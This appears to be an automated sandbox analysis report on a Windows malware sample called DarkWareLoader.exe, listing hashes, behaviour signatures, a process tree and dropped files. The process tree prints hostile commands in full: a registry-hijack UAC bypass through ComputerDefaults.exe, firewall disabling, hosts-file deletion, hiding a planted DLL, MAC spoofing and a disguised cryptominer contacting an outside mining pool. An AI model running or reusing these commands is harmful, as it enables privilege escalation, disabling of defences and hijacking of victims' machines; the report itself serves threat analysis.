Overview

overview

10

Static

static

3

DarkWareLoader.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    234s
  • max time network
    295s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/08/2024, 16:33

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    DarkWareLoader.exe

  • Size

    2.3MB

  • MD5

    c42b185841679c16a7aed9ccf48e0d0d

  • SHA1

    0c6ad1cc0e6e8706c5913a8604d42449549c4da3

  • SHA256

    03bb14890ec3a3cdf397f6af5e87d4cdf122b564a64f89c5b6672e5cbcc57b01

  • SHA512

    c8ce057772905b620a9ea1910ce72410d49b327ce5256a6cf594d4a1df17bb3eed4a2b6664988c755b58ec31ee6e76ba87230edeb56c574e3b8bd0ff5c63135f

  • SSDEEP

    49152:4CI01yYHlo9MayICF/Xo1U7AZecga2jp:4CIAyYFS8w3UJd

Score
10/10
agenttesladefense_evasiondiscoveryexecutionkeyloggerpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

    keyloggertrojanstealerspywareagenttesla
  • AgentTesla payload 3 IoCs
  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Drops file in Windows directory 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 58 IoCs
  • Opens file in notepad (likely ransom note) 3 IoCs
    ransomware
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 6 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SetWindowsHookEx 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\DarkWareLoader.exe
    "C:\Users\Admin\AppData\Local\Temp\DarkWareLoader.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3180
    • C:\Users\Admin\AppData\Local\Temp\concv1.exe
      "C:\Users\Admin\AppData\Local\Temp\concv1.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3204
      • C:\Windows\system32\cmd.exe
        /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3984
        • C:\Windows\system32\reg.exe
          reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
          4⤵
            PID:2944
        • C:\Windows\system32\cmd.exe
          /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\236067.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2304
          • C:\Windows\system32\reg.exe
            reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\236067.vbs" /f
            4⤵
            • Modifies registry class
            PID:2180
          • C:\Windows\system32\reg.exe
            reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
            4⤵
            • Modifies registry class
            PID:3000
        • C:\Windows\system32\cmd.exe
          /c start /B ComputerDefaults.exe
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:224
          • C:\Windows\system32\ComputerDefaults.exe
            ComputerDefaults.exe
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2440
            • C:\Windows\system32\wscript.exe
              "wscript.exe" C:\Users\Admin\AppData\Local\Temp\236067.vbs
              5⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:3964
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C del C:\Windows\System32\drivers\etc\hosts
                6⤵
                  PID:1844
          • C:\Windows\system32\cmd.exe
            /c del /f C:\Users\Admin\AppData\Local\Temp\236067.vbs
            3⤵
              PID:4148
            • C:\Windows\system32\cmd.exe
              /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4264
              • C:\Windows\system32\reg.exe
                reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                4⤵
                • Modifies registry class
                PID:5024
            • C:\Windows\System32\dllhost.exe
              "C:\Windows\System32\dllhost.exe"
              3⤵
              • Checks processor information in registry
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:2268
              • C:\Windows\system32\cmd.exe
                /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4368
                • C:\Windows\system32\reg.exe
                  reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                  5⤵
                    PID:3272
                • C:\Windows\system32\cmd.exe
                  /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\597538.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4836
                  • C:\Windows\system32\reg.exe
                    reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\597538.vbs" /f
                    5⤵
                    • Modifies registry class
                    PID:4372
                  • C:\Windows\system32\reg.exe
                    reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
                    5⤵
                    • Modifies registry class
                    PID:3140
                • C:\Windows\system32\cmd.exe
                  /c start /B ComputerDefaults.exe
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3368
                  • C:\Windows\system32\ComputerDefaults.exe
                    ComputerDefaults.exe
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3948
                    • C:\Windows\system32\wscript.exe
                      "wscript.exe" C:\Users\Admin\AppData\Local\Temp\597538.vbs
                      6⤵
                      • Checks computer location settings
                      • Suspicious use of WriteProcessMemory
                      PID:1344
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c move "C:\Users\Admin\AppData\Local\Temp\0347873.tmp" "C:\Windows\ntshrui.dll"
                        7⤵
                          PID:3968
                  • C:\Windows\system32\cmd.exe
                    /c del /f C:\Users\Admin\AppData\Local\Temp\597538.vbs
                    4⤵
                      PID:4056
                    • C:\Windows\system32\cmd.exe
                      /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1240
                      • C:\Windows\system32\reg.exe
                        reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                        5⤵
                        • Modifies registry class
                        PID:316
                    • C:\Windows\system32\cmd.exe
                      /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                      4⤵
                        PID:1012
                        • C:\Windows\system32\reg.exe
                          reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                          5⤵
                            PID:4264
                        • C:\Windows\system32\cmd.exe
                          /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\575174.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
                          4⤵
                            PID:4576
                            • C:\Windows\system32\reg.exe
                              reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\575174.vbs" /f
                              5⤵
                              • Modifies registry class
                              PID:4436
                            • C:\Windows\system32\reg.exe
                              reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
                              5⤵
                              • Modifies registry class
                              PID:4500
                          • C:\Windows\system32\cmd.exe
                            /c start /B ComputerDefaults.exe
                            4⤵
                              PID:2820
                              • C:\Windows\system32\ComputerDefaults.exe
                                ComputerDefaults.exe
                                5⤵
                                  PID:4692
                                  • C:\Windows\system32\wscript.exe
                                    "wscript.exe" C:\Users\Admin\AppData\Local\Temp\575174.vbs
                                    6⤵
                                    • Checks computer location settings
                                    PID:2616
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /C attrib +h "C:\Windows\ntshrui.dll"
                                      7⤵
                                      • Hide Artifacts: Hidden Files and Directories
                                      PID:408
                                      • C:\Windows\system32\attrib.exe
                                        attrib +h "C:\Windows\ntshrui.dll"
                                        8⤵
                                        • Drops file in Windows directory
                                        • Views/modifies file attributes
                                        PID:452
                              • C:\Windows\system32\cmd.exe
                                /c del /f C:\Users\Admin\AppData\Local\Temp\575174.vbs
                                4⤵
                                  PID:3892
                                • C:\Windows\system32\cmd.exe
                                  /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                                  4⤵
                                    PID:312
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                                      5⤵
                                      • Modifies registry class
                                      PID:4136
                                  • C:\Windows\system32\cmd.exe
                                    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                                    4⤵
                                      PID:3204
                                      • C:\Windows\system32\reg.exe
                                        reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                                        5⤵
                                          PID:4048
                                      • C:\Windows\system32\cmd.exe
                                        /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\711676.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
                                        4⤵
                                          PID:2100
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\711676.vbs" /f
                                            5⤵
                                            • Modifies registry class
                                            PID:4688
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
                                            5⤵
                                            • Modifies registry class
                                            PID:4420
                                        • C:\Windows\system32\cmd.exe
                                          /c start /B ComputerDefaults.exe
                                          4⤵
                                            PID:2076
                                            • C:\Windows\system32\ComputerDefaults.exe
                                              ComputerDefaults.exe
                                              5⤵
                                                PID:3988
                                                • C:\Windows\system32\wscript.exe
                                                  "wscript.exe" C:\Users\Admin\AppData\Local\Temp\711676.vbs
                                                  6⤵
                                                  • Checks computer location settings
                                                  PID:1960
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /C REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Privacy\LetAppsAccessLocation\ /f /v Value /t REG_DWORD /d 0 >nul
                                                    7⤵
                                                      PID:3260
                                                      • C:\Windows\system32\reg.exe
                                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\default\Privacy\LetAppsAccessLocation\ /f /v Value /t REG_DWORD /d 0
                                                        8⤵
                                                          PID:868
                                                • C:\Windows\system32\cmd.exe
                                                  /c del /f C:\Users\Admin\AppData\Local\Temp\711676.vbs
                                                  4⤵
                                                    PID:4008
                                                  • C:\Windows\system32\cmd.exe
                                                    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                                                    4⤵
                                                      PID:1580
                                                      • C:\Windows\system32\reg.exe
                                                        reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                                                        5⤵
                                                        • Modifies registry class
                                                        PID:3416
                                                    • C:\Windows\system32\cmd.exe
                                                      /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                                                      4⤵
                                                        PID:4996
                                                        • C:\Windows\system32\reg.exe
                                                          reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                                                          5⤵
                                                            PID:2252
                                                        • C:\Windows\system32\cmd.exe
                                                          /c reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\326390.vbs" /f & reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
                                                          4⤵
                                                            PID:4652
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\326390.vbs" /f
                                                              5⤵
                                                              • Modifies registry class
                                                              PID:2420
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
                                                              5⤵
                                                              • Modifies registry class
                                                              PID:2496
                                                          • C:\Windows\system32\cmd.exe
                                                            /c start /B ComputerDefaults.exe
                                                            4⤵
                                                              PID:4348
                                                              • C:\Windows\system32\ComputerDefaults.exe
                                                                ComputerDefaults.exe
                                                                5⤵
                                                                  PID:4792
                                                                  • C:\Windows\system32\wscript.exe
                                                                    "wscript.exe" C:\Users\Admin\AppData\Local\Temp\326390.vbs
                                                                    6⤵
                                                                    • Checks computer location settings
                                                                    PID:2768
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /C powershell Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
                                                                      7⤵
                                                                        PID:3212
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
                                                                          8⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:3840
                                                                • C:\Windows\system32\cmd.exe
                                                                  /c del /f C:\Users\Admin\AppData\Local\Temp\326390.vbs
                                                                  4⤵
                                                                    PID:3784
                                                                  • C:\Windows\system32\cmd.exe
                                                                    /c reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                                                                    4⤵
                                                                      PID:1652
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
                                                                        5⤵
                                                                        • Modifies registry class
                                                                        PID:4148
                                                                    • C:\Windows\system32\cmd.exe
                                                                      /c REG DELETE HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location\NonPackaged /f >nul
                                                                      4⤵
                                                                        PID:4676
                                                                        • C:\Windows\system32\reg.exe
                                                                          REG DELETE HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\location\NonPackaged /f
                                                                          5⤵
                                                                            PID:3532
                                                                        • C:\ProgramData\CuteCats.jpeg
                                                                          C:\ProgramData\CuteCats.jpeg -a kawpow -i 20 -o stratum+tcp://rvn.2miners.com:6060 -u RPUFwA26gSfphDcuv9hFe2LFLJxZcQzm8D.adraf -p x --api-bind-http 0
                                                                          4⤵
                                                                          • Executes dropped EXE
                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          PID:3968
                                                                    • C:\Users\Admin\AppData\Local\Temp\DarkWare.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\DarkWare.exe"
                                                                      2⤵
                                                                      • Checks computer location settings
                                                                      • Executes dropped EXE
                                                                      • Drops file in Windows directory
                                                                      • System Location Discovery: System Language Discovery
                                                                      • Enumerates system info in registry
                                                                      • Modifies registry class
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      • Suspicious use of FindShellTrayWindow
                                                                      PID:932
                                                                      • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                        "wmic" bios get serialnumber
                                                                        3⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:4784
                                                                      • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                        "wmic" baseboard get serialnumber
                                                                        3⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:3192
                                                                      • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                        "wmic" diskdrive get serialnumber
                                                                        3⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:1532
                                                                      • C:\Windows\SysWOW64\NOTEPAD.EXE
                                                                        "C:\Windows\system32\NOTEPAD.EXE" C:\Windows\1.txt
                                                                        3⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        • Opens file in notepad (likely ransom note)
                                                                        PID:2428
                                                                      • C:\Windows\SysWOW64\NOTEPAD.EXE
                                                                        "C:\Windows\system32\NOTEPAD.EXE" C:\Windows\41242e.txt
                                                                        3⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        • Opens file in notepad (likely ransom note)
                                                                        PID:3464
                                                                  • C:\Windows\system32\OpenWith.exe
                                                                    C:\Windows\system32\OpenWith.exe -Embedding
                                                                    1⤵
                                                                    • Modifies registry class
                                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                                    • Suspicious use of SetWindowsHookEx
                                                                    PID:4148
                                                                    • C:\Windows\system32\NOTEPAD.EXE
                                                                      "C:\Windows\system32\NOTEPAD.EXE" C:\Windows\bet.rar
                                                                      2⤵
                                                                      • Opens file in notepad (likely ransom note)
                                                                      PID:456
                                                                  • C:\Windows\System32\rundll32.exe
                                                                    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                    1⤵
                                                                      PID:4336
                                                                    • C:\Windows\123r\UefiSpoof\UEFI DUMP\RAID 0 - CONFIG\winxsrcsv64.exe
                                                                      "C:\Windows\123r\UefiSpoof\UEFI DUMP\RAID 0 - CONFIG\winxsrcsv64.exe"
                                                                      1⤵
                                                                        PID:516
                                                                      • C:\Windows\123r\UefiSpoof\UEFI DUMP\NORMAL - CONFIG\winxsrcsv64.exe
                                                                        "C:\Windows\123r\UefiSpoof\UEFI DUMP\NORMAL - CONFIG\winxsrcsv64.exe"
                                                                        1⤵
                                                                          PID:2256
                                                                        • C:\Windows\system32\OpenWith.exe
                                                                          C:\Windows\system32\OpenWith.exe -Embedding
                                                                          1⤵
                                                                          • Modifies registry class
                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                          • Suspicious use of SetWindowsHookEx
                                                                          PID:4948
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c ""C:\Windows\123r\UefiSpoof\Machanger DUMP\NetFixer.bat" "
                                                                          1⤵
                                                                            PID:2976
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c wmic nic where physicaladapter=true get deviceid | findstr [0-9]
                                                                              2⤵
                                                                                PID:3688
                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                  wmic nic where physicaladapter=true get deviceid
                                                                                  3⤵
                                                                                    PID:1996
                                                                                  • C:\Windows\system32\findstr.exe
                                                                                    findstr [0-9]
                                                                                    3⤵
                                                                                      PID:4124
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\01"
                                                                                    2⤵
                                                                                      PID:3036
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\001"
                                                                                      2⤵
                                                                                        PID:4316
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001"
                                                                                        2⤵
                                                                                          PID:4540
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001" /v NetworkAddress /t REG_SZ /d 02-29C29A22AAA /f
                                                                                          2⤵
                                                                                            PID:4484
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c wmic nic where physicaladapter=true get deviceid | findstr [0-9]
                                                                                            2⤵
                                                                                              PID:316
                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                wmic nic where physicaladapter=true get deviceid
                                                                                                3⤵
                                                                                                  PID:4080
                                                                                                • C:\Windows\system32\findstr.exe
                                                                                                  findstr [0-9]
                                                                                                  3⤵
                                                                                                    PID:3556
                                                                                                • C:\Windows\system32\reg.exe
                                                                                                  REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\01"
                                                                                                  2⤵
                                                                                                    PID:1900
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\001"
                                                                                                    2⤵
                                                                                                      PID:1572
                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                      REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001"
                                                                                                      2⤵
                                                                                                        PID:1492
                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                        REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001" /v PnPCapabilities /t REG_DWORD /d 24 /f
                                                                                                        2⤵
                                                                                                          PID:3032
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c "wmic nic where (netconnectionid like '%') get netconnectionid,netconnectionstatus /format:csv"
                                                                                                          2⤵
                                                                                                            PID:1888
                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                              wmic nic where (netconnectionid like '%') get netconnectionid,netconnectionstatus /format:csv
                                                                                                              3⤵
                                                                                                                PID:4440
                                                                                                            • C:\Windows\system32\netsh.exe
                                                                                                              netsh interface set interface name="Ethernet" disable
                                                                                                              2⤵
                                                                                                              • Event Triggered Execution: Netsh Helper DLL
                                                                                                              PID:4032
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Windows\123r\UefiSpoof\Machanger DUMP\NetFixer.bat" "
                                                                                                            1⤵
                                                                                                              PID:4696
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c wmic nic where physicaladapter=true get deviceid | findstr [0-9]
                                                                                                                2⤵
                                                                                                                  PID:5000
                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                    wmic nic where physicaladapter=true get deviceid
                                                                                                                    3⤵
                                                                                                                      PID:1564
                                                                                                                    • C:\Windows\system32\findstr.exe
                                                                                                                      findstr [0-9]
                                                                                                                      3⤵
                                                                                                                        PID:4600
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Windows\123r\UefiSpoof\Machanger DUMP\NetFixer.bat" "
                                                                                                                    1⤵
                                                                                                                      PID:1020
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c wmic nic where physicaladapter=true get deviceid | findstr [0-9]
                                                                                                                        2⤵
                                                                                                                          PID:3640
                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                            wmic nic where physicaladapter=true get deviceid
                                                                                                                            3⤵
                                                                                                                              PID:2020
                                                                                                                            • C:\Windows\system32\findstr.exe
                                                                                                                              findstr [0-9]
                                                                                                                              3⤵
                                                                                                                                PID:4720
                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
                                                                                                                            1⤵
                                                                                                                              PID:2764

                                                                                                                            Network

                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                            Replay Monitor

                                                                                                                            Loading Replay Monitor...

                                                                                                                            Downloads

                                                                                                                            • C:\ProgramData\CuteCats.jpeg
                                                                                                                              Filesize

                                                                                                                              38.3MB

                                                                                                                              MD5

                                                                                                                              40532ea36c2d4de56522ecf707bf289e

                                                                                                                              SHA1

                                                                                                                              86520c67e37b43366f965b63ba78070688bff83e

                                                                                                                              SHA256

                                                                                                                              08e994aa4659a0fd4674d93ed9e683dff7c020013629e39d6ea73091f2bcd33b

                                                                                                                              SHA512

                                                                                                                              41df9cc910afe6ffe7f92e1e26b607cf7fea18f52a746ca97d532406401035b5bb3ac5ebcb9bc659d4125cbf7262383aefc1f03a01886dc71e268b52ac2b43ce

                                                                                                                              Download Submit

                                                                                                                            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                                                                                                                              Filesize

                                                                                                                              1KB

                                                                                                                              MD5

                                                                                                                              7fb5fa1534dcf77f2125b2403b30a0ee

                                                                                                                              SHA1

                                                                                                                              365d96812a69ac0a4611ea4b70a3f306576cc3ea

                                                                                                                              SHA256

                                                                                                                              33a39e9ec2133230533a686ec43760026e014a3828c703707acbc150fe40fd6f

                                                                                                                              SHA512

                                                                                                                              a9279fd60505a1bfeef6fb07834cad0fd5be02fd405573fc1a5f59b991e9f88f5e81c32fe910f69bdc6585e71f02559895149eaf49c25b8ff955459fd60c0d2e

                                                                                                                              Download Submit

                                                                                                                            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
                                                                                                                              Filesize

                                                                                                                              436B

                                                                                                                              MD5

                                                                                                                              971c514f84bba0785f80aa1c23edfd79

                                                                                                                              SHA1

                                                                                                                              732acea710a87530c6b08ecdf32a110d254a54c8

                                                                                                                              SHA256

                                                                                                                              f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895

                                                                                                                              SHA512

                                                                                                                              43dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58

                                                                                                                              Download Submit

                                                                                                                            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                                                                                                                              Filesize

                                                                                                                              174B

                                                                                                                              MD5

                                                                                                                              abb05838132e029516ef8de762d055c5

                                                                                                                              SHA1

                                                                                                                              86b275dabdd979da8efcc808dc0a487b245fbaa7

                                                                                                                              SHA256

                                                                                                                              f766cf5096976c6b2726d6823bbc4ddb0d181256699de56502782f29bfaeeae0

                                                                                                                              SHA512

                                                                                                                              e283ea82f7e70ece244e57b44244f14cc7d9552d59b1cfb9e0880161089cdc187b0c0c164099d65094f2691e4c9bc30dc004862303fcc44186ba6c1afadf415d

                                                                                                                              Download Submit

                                                                                                                            • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
                                                                                                                              Filesize

                                                                                                                              170B

                                                                                                                              MD5

                                                                                                                              23409eff866ede8e6f0e7a1f9252ccb3

                                                                                                                              SHA1

                                                                                                                              b3ad4063f0d2bb669cbfa0a99700195c2f45a057

                                                                                                                              SHA256

